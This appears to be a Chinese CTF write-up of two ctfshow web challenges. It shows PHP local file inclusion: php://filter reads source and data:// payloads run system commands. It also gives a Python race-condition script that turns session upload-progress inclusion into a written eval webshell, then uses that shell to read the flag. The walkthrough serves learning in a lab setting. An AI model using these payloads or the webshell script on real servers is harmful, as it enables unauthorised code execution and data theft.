ctfshow-36D练手赛

不知所措.jpg

首先根据提示

php
$file must has test

 传入:

?file=test
testphp

?file=test.
test.php
flag_not_here

 猜测文件包含,

传入:

?file=php://filter/convert.base64-encode/resource=test/../index.

解码的得: 

<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
	include ($file);
}else{
	echo '$file must has test';
}
?>

playload:

# 利用data://协议,进行getshell。可以执行php命令。
/?file=data://text/plain,<?php system('ls /');?>test

/?file=data://text/plain,<?php system('cat /FFFFFFFL@GGGG');?>test

easyshell

通过burp抓包

# 先随便传入,获取cookie,将获取的cookie放入pass,name不变
?name=2222&pass=0382dd97e8e5ccf50135efe75e822034

 发现flflflflag.php,得到

# 可以通过php伪协议进行文件读取
# 通过目录扫描可以知道存在dir.php和config.php
include($_GET["file"])
...dir.php
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php

<?php
var_dump(scandir('/tmp'));
?>
...config.php
config.php
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php

<?php
$secret='%^$&$#fffd';
?>
...index.php
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
        echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
        </script>
';
}else{
        setcookie("Hash",md5($secret.$name),time()+3600000);
        echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

 没有利用的漏斗页面,所以利用session文件包含(条件竞争)获取getshell。

'''
cookie为PHPSESSID=123,那么就会生成一个sess_123的session文件,此时php会自动初始化session,并产生一个键值,
格式为配置文件中的session.upload_progress.prefix的值+我们上传的session.upload_progress.name的值此键值会写入session文件。
该键值的格式应该为:upload_progress_+PHP_SESSION_UPLOAD_PROGRESS的值。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启,需要条件竞争

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行
session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。
'''

脚本如下:

import requests
import threading

url = 'https://bbbd23d4-0fc9-43f0-9da1-459d63e257bf.challenge.ctf.show/flflflflag.php'
sessid = 'getshell'

def POST(session):
    while True:
        session.post(
            url,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php file_put_contents('shell.php','<?php eval($_POST[1]);?>');?>"},
            files={"file":'shell.php'},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{url}?file=/tmp/sess_{sessid}')
        if len(response.content) > 216:
            # flflflflag.php页面本身长度为216,大于即文件上传成功。
            print(response.text)
            break
        else:
            print('+++')

session = requests.session()
t1 = threading.Thread(target=POST, args=(session, )).start()
t2 = threading.Thread(target=POST, args=(session, )).start()
READ(session)

最后通过

# flag在环境变量里:
get:
https://bbbd23d4-0fc9-43f0-9da1-459d63e257bf.challenge.ctf.show/shell.php
post:
1=echo getenv('FLAG');
or
1=phpinfo();

即获取flag

  • 16
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值